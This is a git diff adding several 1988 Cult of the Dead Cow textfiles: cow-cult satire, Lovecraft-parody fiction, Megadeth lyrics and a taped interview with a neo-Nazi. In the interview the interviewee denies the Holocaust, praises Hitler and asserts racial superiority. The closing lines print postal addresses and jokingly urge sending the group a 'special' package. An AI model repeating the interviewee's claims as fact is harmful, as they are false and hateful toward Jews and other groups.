AND GET CROSS OF IRON... KILL! KILL! KILL! +------------------------------------------------------------------------------- +CROSS OF IRON (c) 1988 cDc communications All Rights Worth Shit! +F.T.P.A. (c) 1987-8 Drastic Productions, Inc. You are all free to use it tho. + diff --git a/textfiles.com/groups/CDC/cDc-0056.txt b/textfiles.com/groups/CDC/cDc-0056.txt new file mode 100644 index 00000000..66edc275 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0056.txt @@ -0,0 +1,67 @@ + + cDc communications + presents... + + _ _ + ((___)) + [ x x ] + xXx \ / xXx + (` ') + (U) + + + T H E P R O P H E C Y O F C O W + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Recorded by High Priest and Scribe, + Franken Gibe + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Listen! The thunderhead of The Coming reins her fierce lightning steeds. +The Prophecy is thine own. Take to heart what shall be, when nations' eyes +shall turn toward Cow, a hundred million eyes fixed, a hundred million ears +shrinking from the infernal Blast. + + Moonlight's world shall fall to decay, putrid with the rot of complacency. +A chosen few shall safeguard the Cow Song, harbor all that is eternal against +the blight of relativism, the self-indulgence of apathetic humankind. It is +the course of the Bovine that these few shall multiply, and their message +shall take the form of a federation, a Cult. Cow shall be a living memory. +From three shall be ten, from ten, hundreds. Here the Prophecy begins... + + * * * + + Thrice sun's setting, then dawn. I see an eighth day, russet heat. It is +the dawn of suburbia, mown fresh and green, black-cored and sinister. From +this day night shall ever be vanquished. It is the Day of Cow. The Day of the +Rebirth. Unspeakable visions I see, visions of color and sound, hoof beat and +udder's fecund milk. Two of the Bovine Legion shall rule the eternal Day, two +shall survive the death of Night. On that first dawn of the New Age, the +birthday of the new order, Cow will come again. + + In the barren field of the barren age, the Old Age, in the field of +corpses and skulls, I see a Prophet. He shall be versed in the saga of Cow, +familiar in the Ways of Bovinia. And lo, the crimson field shudders beneath +the taint of a thousand crumbling empires, kingdoms of corruption, and the +barren field vomits steaming geysers of blood. In the midst of this maelstrom +of death, the climax of centuries of despair, I see the Prophet raise his +limber arms, and as if orchestrating Second Creation, the field is quieted, the +skies churn slow and calm. Oh, unspeakable and ineffable! Oh, prophecy and +legend, Earth has shed tears of blood, seas of blood for thee. Lo, the Prophet +of the field drops to his knees, & behold, the fallow field is rent asunder. +And from the awful rift emerges a deep, deep tenor, a staccato bellow which +strikes deaf the unprepared ear. It is the Bellow of the Cow Reborn, the +trumpet of victory which heralds in the New Age, the Age of the Bovine. This is +the Legend, this is the Prophecy marvelous and momentous. + + Emotion chokes words, and begs of them undue function. Yet have I +endeavored to write what should remain unwritten, to prophesy that which is the +stuff of nightmares. Humanity, beware! For now Cow sleeps, but dawn approaches. The Awakening is near. + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + (c)1988 cDc communications by Franken Gibe + On this, the 13th Day of the Sixth Month-56 + diff --git a/textfiles.com/groups/CDC/cDc-0057.txt b/textfiles.com/groups/CDC/cDc-0057.txt new file mode 100644 index 00000000..7e4ee6b3 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0057.txt @@ -0,0 +1,118 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + HISTORY OF THE BOVINOMICON + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + by The Raver + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The history of the great Bovine mythos cycle is a lost and twisted one. +Of the tales of the Bovine unknown, one literary work, one tome of Bovinity, +does stand out. Yes, brutal reader, the BOVINOMICON. + + This being a short but complete outline of the history of this book, its +author, The Raver, presents this work. The outline follows its various +translations and editions from the time of the writing (AD 730) of the +BOVINOMICON to the present day. + +=============================================================================== + + Original title AL AZIF - Azif being the word used by the Arabs to +designate that nocturnal sound (made by Bovine creatures) supposed to be the +howling of daemons. + + Composed by Abdul Alhazred, a mad cow herder of Sanna, in Yemen, who is +said to have flourished during the period of the Omminade Caliphs, circa AD +700. He visited the ruins of Babylon and the subterranean secrets of Memphis +and spent ten years alone in the great southern desert of Arabia - (the Roba El +Khaliyeh or "Empty Space" of the ancients and "Dahna" or "Crimson" desert of +the modern Arabs) - which is held to be inhabited by protective evil spirits +and monsters of death. Of this desert many strange and unbelievable marvels +are told by those who pretend to have penetrated it. In his last years +Alhazred dwelt in Damascus, where the BOVINOMICON (AL AZIF) was written, and +of his final death or disappearance (AD 738) many terrible and conflicting +things are told. He is said by Ebn Khallikan (12th century biography) to have +been seized by an invisible cow in broad daylight and devoured horribly before +a large number of fright-frozen witnesses. Of his madness many things are +told. He claimed to have seen the fabulous Irem, or City of Pillars, and to +have found beneath the ruins of a certain nameless desert pasture the shocking +annals and secrets of a race older than mankind. (Editors Note: A full desc- +ription of the nameless pasture, and the annals and secrets of its inhabitants +will be found in the t-file THE NAMELESS PASTURE, written by the author of +this outline). He was only an indifferent Moslem, worshipping unknown Entities +who he called Yog-Elsie and Bob-Sothoth. + + In AD 950 the AZIF, which had gained considerable, though surreptitious +circulation amongst the philosophers of the age, was secretly translated into +Greek by Theodorus Philetas of Constantinople under the title BOVINOMICON. +For a century it impelled certain experimenters to terrible attempts, when +it was suppressed and burnt by the patriarch Michael. After this it was only +heard of furtively, but (1223) Olaus Wormius made a Latin translation later +in the Middle Ages, and the Latin test was printed twice - once in the 15th +century in black letter (evidently in Germany) and once in the 17th (probably +Spanish); both editions being without identifying marks, and located as to +time and place by internal typographical evidence only. The work, both Latin +and Greek, was banned by Pope Gregory IX in 1232 shortly after its Latin +translation, which called attention to it. The Arabic original was lost as +early as Wormius' time, as indicated by his prefatory note; (there is, however, +a vague account of a secret copy appearing in San Francisco during the present +century, but later perished in fire), and no sight of the Greek copy - which +was printed in Italy between 1500 and 1550 - has been reported since the +burning of a certain Salem man's library in 1692. A translation made by Dr. +Dee was never printed and exists only in fragments recovered from the original +manuscript. Of the Latin texts now existing, one (15th century) is known to be +in the British Museum under lock and key, while another (17th century) is in +the Bibliotheque Nationale in Paris. A 17th century edition is in the Widener +Library at Harvard, and in the library at Miskatonic University at Arkham; also +in the library of the University of Buenos Aires. Numerous other copies exist +in secret, and a 15th century one is persistently rumored to form a part of the +collection of a celebrated American millionaire. An even more vague rumor +credits the preservation of a 16th century Greek text in the Salem family +Pickman; but if it was so preserved, it vanished with the artist R.U. Pickman, +who disappeared in 1926. The book is rigidly suppressed by the authorities of +most countries, and by all branches of organized ecclesiasticism. Reading +leads to terrible consequences. It was from rumors of this book (of which +relatively few of the general public know) that R.W. Chambers is said to have +derived the idea of his early novel, "THE KING OF CUD". + + -------------------------------------- + CHRONOLOGY + +One - AL AZIF written circa AD 730 at Damascus by Abdul Alhazred. +Two - Translated into Greek as BOVINOMICON, AD 950 by Theodorus Philetas. +Three - Burnt by Patriarch Michael AD 1050 (ie, Greek; Arabic text now lost). +Four - Olaus translates Greek into Latin, AD 1228. +Five - Latin and Greek editions suppressed by Gregory IX - AD 1232. +Six - 14..? Black letter edition printed in Germany. +Seven - 15..? Greek text printed in Italy. +Eight - 16..? Spanish translations of Latin text. + +=============================================================================== + + PERSONS interested in learning more details about the nameless pasture +mentioned in this outline, where Alhazred spent much time, should read the +t-file THE NAMELESS PASTURE by THE RAVER, which gives a detailed description. +The file is also a cDc communications release. + + This t-file is dedicated to my favorite author, H.P. Lovecraft, who, now +that we have had time to take his work into perspective, is, no doubt, +unsurpassed as the twentieth century's best practitioner of the horror tale. + + "No weird story can truly produce terror unless it is devised with all the + care and versimilitude of an actual hoax." + + -- H.P. Lovecraft to Clark Ashton Smith (17 October 1930) + +=============================================================================== + (c)1988 cDc communications by The Raver 4/22/88-57 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0058.txt b/textfiles.com/groups/CDC/cDc-0058.txt new file mode 100644 index 00000000..355f0f16 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0058.txt @@ -0,0 +1,191 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + THE NAMELESS PASTURE + ~~~~~~~~~~~~~~~~~~~~ + Scribed by The Raver, Teller of Strange Legends + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The tales of the Bovine mythos cycle are strange and diverse. Although +some of our terrible order's members prefer to scribe tales of present day +Bovinity, I opt for tales of a dark and terrible past, a time when the Bovine +stalked the earth unheeded by mankind. + + "...The wailings of the mad are but the birth-cries of + the new man - the old man gone like dust in the desert + wind. Cleansed of the lies of mankind, the new man - + the man of darkness - is free to absorb the beauty of + nothingness, to glory in the stark night of the utter + void. As your useless reason dissolves, rejoice in the + knowledge that others in as diverse places as Texas and + North Carolina have walked the same path, have drunk + the same blood, have reveled in the same prospect of + everlasting night, as you..." + + -- Keeper of the Bovine Gate + + 'Tis true, we are evil in our potent writings and scriptures of the Cow. +But this is only for a reason. The following passage describes this point very +well. Much better than I could, indeed. + + "...You do not yet know the true gods. Everything you + know is a lie. The Great Bovine Ones - these are the + true rulers of the Universe; these and others you have + not yet heard of will be the objects of your adulation, + your emotion, your love. You are the fortunate ones - + the time may come, if you give your selfless devotion, + that you will worship in the flesh in the Temples of + the Nameless Pasture, whose glory is beyond your + comprehension." + + -- Catechism of the High Priests of the Bovine + + The following tale is a true one and depicts the place that many Cultees +desire to be... the dreaded Nameless Pasture, where Bob-Sothoth rules supreme +and the blood of thousands runs rampant through the stalks of Cow-Bane. This +tale is not for the faint of heart. Nay. You have been forewarned. + +=============================================================================== + + In a distant land, in a distant time, the mad arab, Abdul Alhazred, began +a horrific journey into the Roba El Kaliyeh ("Empty Space"), the vast desert of +southern Arabia. The time was AD 715 and Alhazred was quite mad. After +traversing the ruins of Babylon and the strange subterranean catacombs beneath +the archaic ruins of Memphis who would not be? Alhazred, in his demented mind, +thought that the vast desert would allow him the peace and tranquility that he +so desperately needed. Unfortunately, this was not to be... + + As Alhazred traversed the shifting sands, his mind wandered back to the +days when he was but a simple cow herdsman. All was well, until that day... +the day that he heard a cow utter the following phrase in an ancient tongue: +"Ia! Ia! Bob-Sothoth fhtagn! Ph'nglui mglw'nafh Bob-Sothoth wgha-nagl +fhtaga!" Ever since that time seventeen years ago Alhazred had not been the +same. He had afterwards began a vast quest to discover why the cows he had +herded had talked and exactly who and what Bob-Sothoth is... or was. Alhazred +began his quest almost a score of years ago and felt that he was close to the +ultimate answer. During his nights with the cows those years past he had heard +their urgent mooings. What did they mean? Were the cows possessed of daemons? +What in the hell was going on? + + As Alhazred continued his bizarre cycle of thought he noticed not the +paved stones peeking up at him from the sand below his sandled feet. Only when +he tripped on a large crack did he notice the fragmented pavement beneath him. +"What?" thought Alhazred. A road in the middle of a vast expanse of desert? +Filled with curiosity Alhazred decided it best to follow the ancient road. +Soon darkness overtook the world and day became night. + + As the moon climbed higher in the sky he began to see that the slopes of +desert began to rise. Urged by an impulse which he could definitely not +analyze, Alhazred scrambled with difficulty up the dunes... Upon reaching the +top of the tremendous circle of dunes he stood silently, gazing into the +stygian depths where no light had yet penetrated. + + All at once his attention was captured by a vast and singular object on +the opposite slope, which rose steeply about a hundred yards ahead of him; an +object that gleamed brightly in the newly bestowed rays of the ascending moon. +He assured himself that it was merely a piece of gigantic stone; but he was +conscious of an instinct impression that its contour and position were not +altogether the work of Nature. A closer scrutiny filled him with sensations +he could not express; for despite its enormous magnitude, and its position in +an abyss which had yawned in the middle of a vast desert since the world was +young, he perceived beyond a doubt that the strange object was a well-shaped +monolith whose massive bulk had known the workmanship and perhaps the worship +of living and thinking creatures. + + Dazed and frightened, yet not without a certain thrill of the scientist's +or archaeologist's delight, Alhazred examined his surroundings more closely. +The moon, now near the zenith, shone vividly above the towering steeps that +hemmed in the chasm revealed that far below rested a great area of flat land. + As he inspected the monolith more closely he noticed that, though eroded by +the billowing sands, it was still identifiable as... a cow. Footholds were +aplenty and Alhazred began the laborious trek downwards into the vast chasm. + + As Alhazred dropped from a low ledge to the base of the chasm he uttered a +slightly audible groan. His feet had hit not sand but wheat. As he regained +his feet he surveyed his surroundings. For hundreds of yards the great field +reared into the distance.. far off he thought that he saw a mass of some sort +but it was dark and he was unsure. He slowly set off towards the mass. +Somewhere off in the distance he thought he heard the frenzied mooings of some +unspeakable Bovine beast, but he convinced himself that it was probably just +the wind. + + When Alhazred was within earshot of the vast mass he did hear the frenzied +mooings of some sort of beast. Shaking with fear he moved closer only because +of fear of what might be lurking around the vast pasture. As he got closer he +saw that the mass was indeed a building, a temple.. broken colonnades paraded +around the temple and strange bas-reliefs covered its face...it was too dark +to clearly make out what the reliefs depicted. Alhazred began to circumvent +the temple looking for some means of egress. Soon he found a rubbled hole in +a wall. The hole poured with a dim light and the smell of greasy smoke. He +crouched down so that he could peer inside. + + Inside he saw a vast chamber filled with a slime-coated liquid that was +obviously water. The chamber was dominated by a Cyclopean monolith, on whose +surface he could now trace both inscriptions and crude sculptures. The +writing was in a system of hieroglyphics unknown to Alhazred, consisting for +the most part of Bovine creatures and the like. Several characters obviously +represented beasts not of the modern world. + + It was the pictorial carving, however, that did most to hold him spell- +bound. Plainly visible across the intervening monolith on account of their +enormous size was an array of bas-reliefs whose subjects would have excited the +envy of a Dore. He thought these things were supposed to depict cows - at +least, a certain sort of cow; though the creatures were shown disporting like +cows in great pastures, or paying homage at some monolithic shrine which +appeared to be in a pasture as well. Of their faces and forms he dared not +speak in detail; for the mere remembrance mad him grow faint. Grotesque beyond +the imagination of a Poe or a Bulwer, they were damnably Bovine in general +outline despite loathsome tentacles, cilia covered with congealed slime, wide +with flabby lips, glassy, bulbous eyes, and other features less pleasant +to recall. Curiously enough they seemed to be chiseled badly out of proportion +with their scenic background. Alhazred decided that they were merely the +imaginary gods of some race lost in the vestiges of time. Awestruck at this +unexpected glimpse into the past, he stood musing whilst the moon cast queer +reflections on the stone walls around him. + + Then he saw it. With only a slight churning to mark its rise to the +surface, the thing slid into view above the dark waters. Vast,polyphemus- +like, and loathsome, it darted like a stupendous monster of nightmares to the +monolith, about which it flung its gigantic scaly tentacles, the while it bowed +its hideously horned head and gave to certain measured mooings. Alhazred went +mad then. + + On his frantic ascent of the cliff and dune slopes, and of his delirious +journey back to Damascus, he remembered little. Alhazred sang a great deal, +and laughed oddly when unable to sing. He had distinct recollections of a +great storm some time after ascending out of the blasted heath in the middle +of the Roba El Kaliyeh; at any rate, he knew that he heard peals of thunder +and other tones which Nature utters only in her wildest moods. + +=============================================================================== + + It was this experience that prompted Abdul Alhazred to scribe the original +Arabic text, AL AZIF, later translated into the BOVINOMICON. This rare work +deals with many complex matters, including the idea that Bovine mooings are +actually the language of daemons from the outer regions of the cosmos. + + "...do you dare imagine things as they can be? As, indeed they will be +when the earth is transformed and the illusion of reality is erased from the +minds of men by the annihilation of those minds? Do you live in hope to see +Great Bob-Sothoth stride the earth? Do you dream of the Throne of Yog-Elsie, +of joining the faithful that mosh there? O, purify yourselves, then, for these +and greater things await you who are members of our terrible order..." + + -- Part of a speech heard outside of a home in a Winston-Salem, NC, suburb + + + "The world is indeed comic, but the joke is on mankind." -- H.P. Lovecraft + +=============================================================================== + (c)1988 cDc communications by The Raver 4/22/88-58 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0059.txt b/textfiles.com/groups/CDC/cDc-0059.txt new file mode 100644 index 00000000..d4989eae --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0059.txt @@ -0,0 +1,301 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + INTERVIEW WITH NEO-NAZI 'AUSDERAU' + + by Psychedelic Warlord + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The following material is a taped conversation with a Neo-Nazi we +encountered preaching in a park downtown. The interview was conducted +by Apache Dreamsac (Apache Dreamsac is Arlo Klahr and myself). The interview +begins a little broken because of some taping difficulties. The interviewers +will be called "AD" and Mr. Auderau will be called "NN". + + + +AD: What did you say about Oral Roberts? + + +NN: We're with him. We're with him. My wife and I, we're full time + ministers down there. We believe in uh... well, we're racists. We + believe that Hispanics and whites are God's superior race. + + +AD: What religion are you? + + +NN: Well, ok. We're Neo-Nazis. We're from Idaho. We believe in the + superior doctrine of the Anglo-Saxon and Hispanic race. + + +AD: You're against Negroes? + + +NN: No, we're not against those. We just believe that they're here for a + reason. Everybody's here for a reason. + + +AD: What's the reason for the Negroes? + + +NN: I believe that God can save them. + + +AD: You mean turn their skin a different color? + + +NN: God created everything different. God created you different; you're + white! You're Anglo and (then pointing to Arlo) he's Hispanic. + + +AD (Arlo): I'm from Canada. + + +NN: What part of Canada? + + +AD: I was born in Toronto. I lived in Nova Scotia. + + +NN: REALLY?!?! You know where Niagara Falls is at? + + +AD: Yeah... That's a nice place. + + +NN: But anyhow we're not against that (blacks). See that's what the whole + media has messed around. They said that the Nazis are racist, and that + they are hate mongers. We're not. We're not! We love the world. We + believe in the... You've heard of World Wide Church of God? + + +AD: Yeah + + +NN: There ya go. + + +AD: Do you follow Hitler? + + +NN: No. No! We follow Christ! Hitler was a man that was used during that + particular time. My grandparents were under his regime. He had some + good ideas, but he was not perfect. + + +AD: Do you think it was wrong that he (Hitler) committed genocide and killed + six-million Jews? + + +NN: He didn't. Now (speaking to Arlo) you're from Canada, it's against your + country to publicize anything that stands towards genocide. You've prob- + ably read that book up there called "Six Million Jews"? + + +AD: No. + + +NN: Well, ok. You're not old enough to read it. Ok. Hitler did not kill + six-million Jews. There were millions that were killed but they were not + all Jews. We do not believe that Hitler was even the cause of that. We + believe that what it was... it was a conspiracy. You see, within his + regime... and the first person it fell on was Hitler because he was diff- + erent. I believe that Hitler was a good man. + + +AD: Really? + + +NN: I believe he had a lot of things that were imperfect.... Well, are you + perfect? + + +AD: No sir. + + +NN: Can you tell me why you believe this? Did God tell you this? The Lord + gave me a clear conscience over the whole thing. Have you ever heard of + Oral Roberts... no... Jimmy Swaggart... no not Jimmy Swaggart... he's + outta Ohio... but this is what he said, "Who are we to tell who will be + in Heaven." He said, "people we don't even imagine being there." Lemme + ask you a question, what is the possibility of somebody confessing and + making himself right (he snaps) for God 'fore he dies? + + +AD: Uhhh.. + + +NN: Great possibility. I believe if he enters in to God's kingdom, then + everything was clear at the end. Lemme give you an example, you want a + good Bible example? + + +AD: Yeah. + + +NN: You remember Saul? + + +AD: Yeah, I think I remember him. + + +NN: Ohhhhhh K.... What did God tell him to do? To kill off all the what? + + +AD: Uhhh.. + + +NN: Amerlites.(??) Remember that? And what did he do? He failed to what? + To do it! + + +AD: So God uhh... He became like a disciple or something, right? + + +NN: No, no, no... That was Sa... no, Paul. Ok. Saul the King. Remember, + God told Saul to kill off all the Amerkites. And he didn't?! And what + happened? + + +AD: I uh.... + + +NN: God stripped him of his power! You remember that? Ok, there ya go! + If God told Saul to do that, then what prevents God from telling Hitler + to do that? + + +AD: I understand (in disbelief)... + + +NN: You get that? You gotta be careful! You got some meetings coming to + your school. + + +AD: Yeah? + + +NN: We're fighting a Supreme Court battle right now here in Texas. We're + gonna be holding some meetings. In fact, we're members of The Klan. + + +AD: (pointing to Arlo) He's Jewish. Do you think he can be saved? + + +NN: Oh yeah! I'm Jewish! + + +AD: You are? + + +NN: Oh yeah! Sure am! Ok, you heard the name "Schwartz"? What nationality + is that? + + +AD: Jewish. + + +NN: That's right! Ok, that's not my name, that's my mother's name. + + +AD: Ok. What's your name? + + +NN: A-U-S-D-E-R-A-U. That's German now. I'm Jewish! I believe in keeping + Saturday holy.... Oh! oh oh oh oh... I believe in keeping the peace in + God (some more Oh! oh oh oh oh).... Huh? Feast of Passover... I have a + lot of good Jewish friends too. Jews are blind, spiritually now.... + + +AD: Why do you say that? + + +NN: It's good, too. The reason why is 'cause they cannot accept Jesus as the + messiah, they believe that the messiah will come back. HE WILL COME + BACK! AGAIN! This time the shades will come off your eyes. And you'll + say, "Hey man! Where've you been all this time?" He will come back to + receive his people... Jews... the House of Judah. + + +AD: I think Hitler did order the... + + +NN: No he didn't. No he didn't! Ok... you want an address- (he then + proceeded to give us the address for his church. The address is located + at the bottom of the file). A lot of Jews come to our congregation. We + keep the feasts and everything. + + +AD: Do you think Hitler was some kind of puppet? + + +NN: I think Hitler was a good leader, and I think a lot of people misunder- + stood him. Like a lot of people misunderstood the Jews. I know a lot + of Nazis that don't like Jews, because they're misunderstood. I believe + that Germans and Jews are the most misunderstood people in the world + today. Jews misunderstand the TRUE Nazism, which Hitler was of the TRUE + Aryan people.(??) In fact, if you go back in history you'll find out + that Hitler was Jewish. Oh YEAH! He sure was. Your Rabbi doesn't teach + you that does he? + + +AD (Arlo): I'm like a non-practicing Jew.... I had my Bar-mitzvah but... + + +NN: Yeah, yeah... But you need to check out the New Testament. Need to check + out history because Hitler WAS Jewish. He was Jewish by race and + Catholic by religion.(?) + + +AD: You don't think Hitler was mentally insane? You know all the stories... + + +NN: Uhhh... Stories... Ok, I could walk around and tell people that you're + criminally insane, but that don't make it so. + + +AD: Ok. Thanks. Bye. + + +|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.| + + + This man was a great speaker, rivaling even the popular T.V. +evangelists in his manner. Of course, most people of this sort are often +dismissed as crazy, or just unbelievable. But we weren't really interested +in his stories of Hitler or his nationality, we were trying to see what made +him think the horrible things that he did. If you'd like to get the full +interview (on tape) please send $3.00 to cover costs to: + +Apache Dreamsac +714 E. University +El Paso, TX 79902 + + We do not support Neo-Nazism in any way; however, we also do not +believe in censorship. Therefore, for the Aryan bible and more information +on the Church of Jesus Christ, write to: + +Aryan Nation +Church of Jesus Christ +Box 5308 +El Paso, TX 79953 + +Feel free to write a friendly message, or send them a 'special' package. +Surely they'd appreciate some 'fan' mail.... + +(c) 1988 Apache Dreamsac + +=============================================================================== + (c)1988 cDc communications by Psychedelic Warlord 7/2/88-59 + diff --git a/textfiles.com/groups/CDC/cDc-0060.txt b/textfiles.com/groups/CDC/cDc-0060.txt new file mode 100644 index 00000000..623c49e8 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0060.txt @@ -0,0 +1,355 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + MEGADETH + + so far, so good... so what! + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Well, here it is. I don't particularly like this album, except for +"In My Darkest Hour" and "Hook In Mouth". Megadeth is still something to +behold live...maybe someday they'll return to their more thrash-oriented roots. +Maybe not. Hmm. Whatever. + -S. Ratte' + "It feels so cold, very cold" +_______________________________________________________________________________ + + +--Set The World Afire + (lyrics:D. Mustaine) + +Red flash clouds choking out the morning sky +They said it'd never come, we knew it was a lie +All forms of life die, now the humans all succumb +Time to kiss your ass goodbye, the end has just begun + +Distorted figures walk the street, it's 1989 +Weeds once underneath your feet have grown to vines +Bodies melted like a candle, a land without a face +No time to change your fate, no time left, it's too late + +The arsenal of Megadeth can't be rid they said +And if it comes, the living will envy the dead +Racing for power, and all come in last +No winning first stone cast +This falsehood worldly peace + +Its treaties soon will cease +No one will be left to prove that humans existed +Maybe soon the children will be born open fisted +We all live on one planet it will all go up in smoke + +Too bad they couldn't see this lethal energy +And now the final scene, a global darkening + +Dig deep the piles of rubble and ruins +Towering overhead both far and wide +There's unknown tools for World War III +Einstein said, 'We'll use rocks on the other side' +No survivors set the world afire + + +--Anarchy in the U.K. + (song by Glen Matlock, Johnny Rotten, Paul Cook, and Steve Jones) + [Note: lyrics are a bit different than the original Sex Pistol's version] + +Right now +I am an Anti-Christ +And I am an anarchist +Don't know what I want, but I know how to get it +I want to destroy, possibly? + +Cause I want to be Anarchy\ No dog's body + +Anarchy for the U.K. +It's coming sometime if maybe +I give a wrong time, stop a traffic light, +Your future dream is a shopping spree. + +Cause I want to be Anarchy, in the city + +Of many ways to get what you want +I use the best, I use the rest +I use the enemy +I use anarchy + +Cause I want to be Anarchy, it's the only way to be + +Is this the M.P.L.A.? +Is this the U.D.A.? +Is this the I.R.A.? + +I thought it was the U.K., or just another country, +And other cunt-like tendencies +Cause I want to be Anarchy, cause I want to be Anarchy, +You know what I mean? +Cause I want to be an Anarchist, again I'm pissed, Destroy! + + +--Mary Jane + (lyrics: D. Mustaine/D. Ellefson) + +Forgive me father for I have sinned +I'm a child of the air, I'm a witch of the wind +And I'm still wide awake...Mary Jane + +From the earth, up through the trees +I can hear her calling me +Her voice rides on the breeze +Oh, it's haunting me + +No, I can't get away +No, there's no escape +If I know I'm going crazy +I must not be insane + +--CHORUS-- +Beware my friends, as you pass by +As you are now so once was I +As I am now so you must be +Prepare my friend to follow me + +Forgive me father for I have sinned +I'm a child of the air, a witch of the wind +Fingers gripped around my brain +No control my mind is lame +I'm in the astral plane, and I'll never be the same +Never, never, never, never, never, never +Never, never, never + +CHORUS + +It hurts so bad I can't breathe +Prepare to follow me + + +--502 + (lyrics:D.Mustaine) + +Pull over, shithead, this is the cops + +Full tank, pockets lined with cash +Full throttle, gonna rip some ass. +Drive all day, and through the night +Romance the road, winding left to right. + + The stars above guide me, the moonlight is free. + A feeling inside me, and the whole world to see. + +Driving fast makes me feel good. +The speed of light trapped under my hood. +Breaking laws, 'cause there's nothing to do. +Driving the interstate, stopped for a 502 + +Hundreds of miles rolled off today. +Signs loose their meanings, minutes tick away. +Dirt roads to interstates, I must have drove them all. +Cigarettes and burgers, caffeine and alcohol. + + Drive until daybreak, always on the go. + Life on the freeway, night shift 'till dawn patrol. + +Driving fast makes me feel good. +The speed of light trapped under my hood +Breaking laws 'cause there's nothing to do. +Driving the interstate, stopped for a 502. +Stopped for a 502, next time it's gonna be you. + +Stars above guide me +This feeling inside me. +I drive until daybreak. +Life on the freeway is Hell. +I'm coming through. + + +--In my Darkest Hour + (lyrics:D.Mustaine/D.Ellefson) + +In my hour of need +Ha, you're not there +And though I reached out for you +Wouldn't lend a hand + +Through the darkest hour +Grace did not shine on me +It feels so cold, very cold +No one cares for me. + +Did you ever think I get lonely +Did you ever think that I needed love +Did you ever think to stop thinking +You're the only one that I'm thinking of. + +You'll never know how hard I tried +To find my space and satisfy you too. + + Thing will be better when I'm dead and gone + Don't try to understand, knowing you I'm + Probably wrong. + +But oh, how I lived my life for you +Still you'd turn away +Now as I die for you +My flesh still crawls as I breath your name +All these years, thought I was wrong +Now I know it was you +Raise your head, raise your face, your eyes +Tell me who you think you are, who? + + I walk, I walk alone + Into the promised land. + +There's a better place for me +But it's far, far away +Everlasting life for me +In a perfect world +But I gotta die first +Please, God, send me on my way + +Time has a way of taking time +Loneliness is not only felt by fools +Alone I call to ease the pain +Yearning to be held by you, Alone so alone, I'm lost +Consumed by the pain +The pain, the pain, the pain + +Won't you hold me again? +You just laughed, ha ha...BITCH! [great line, huh?] +My whole life is work built on the past +But the time has come when all things shall pass. +This good thing passed away. + +In my darkest hour. + + +--Liar + (lyrics:D. Mustaine) + +You take great pride in never having lived up to anything +Lie, steal, cheat and kill, a real bad guy +Your daddy is a wino, and your mommy's quite insane +From altar boy to sewer rat, you don't give a damn +Your sister is a junkie, gets it any way she can +Your brother's a gay singer in a stud leather band +Your girlfriend's got herpes to go with your hep and AIDS +There ain't one person you know you ain't ripped off yet. + +Look deep in the mirror, look deep into its eyes +Your face is replaced, a creature you despise + +But I know what you're made of, it ain't much I'm afraid +I know that you'll be lying until your dying day + +Make up your stories, the truth's so hard to say +Brain is numb and your tongue will surely dig your grave +Your mind is sickly from Alzheimer's Disease +And decadence and debauchery killed your memories + + You're a liar, lair, liar, everyone can see + Liar, liar, it's all you'll ever be + Liar, liar, liar, it's what you mean to me + Liar, liar, lies... + +Start trouble, spread pain +Piss and venom, in your veins +Talk nasty, breath fire +Smell rotten, you're a liar +Sweat liquor, breath snot +Eat garbage, split blood +Diseased, health hazard +Scum bag, filthy bastard +Greasy face, teeth decay +Hair matted, drunk all day +Abscessed, sunken veins +Rot gut, scrambled brain +Steal money, crash cars +Rob jewelry, hock guitars +Rot in Hell, it's time you know +To your master, off you go + +You're a liar +A fucking liar +filthy liar +Liar +You fucking liar +Liar + + +--Hook In Mouth + (lyrics:D.Mustaine) + +A cockroach in the concrete, courthouse tan and beady eyes +A slouch with fallen arches, purging truths into great lies +A little man with a big eraser, changing history +Procedures that he's programmed to, all he hears and sees. + +Altering the facts and figures, events and every issue +Make a person disappear, and no one will ever miss you... + +Rewrites every story, every poem that ever was +Eliminates incompetence, and those who break the laws +Follow the instructions of the New Ways' Evil Book of Rules +Replacing rights with wrongs, the files and records in the schools. + +You say you've got the answers, well who asked you anyway? +Ever think maybe it was meant to be this way? +Don't try to fool us, we know the worst is yet to come +I believe my kingdom will come. + +--CHORUS-- +F, is for fighting, R, is for red +Ancestors' blood in battles they've shed. +E, we elect them, E, we eject them, +In the land of the free, and the home of the brave. +D, for your dying, O, your overture. +M, they will cover your grave with manure. +This spells out freedom, it means nothing to me, +As long as there's a PMRC. + +F, is for fighting, R, is for red, +Ancestor's blood in battles they've shed. +E, we elect them, E, we eject them, +In the land of the free, and the home of the brave. +D, for your dying, O, your overture, 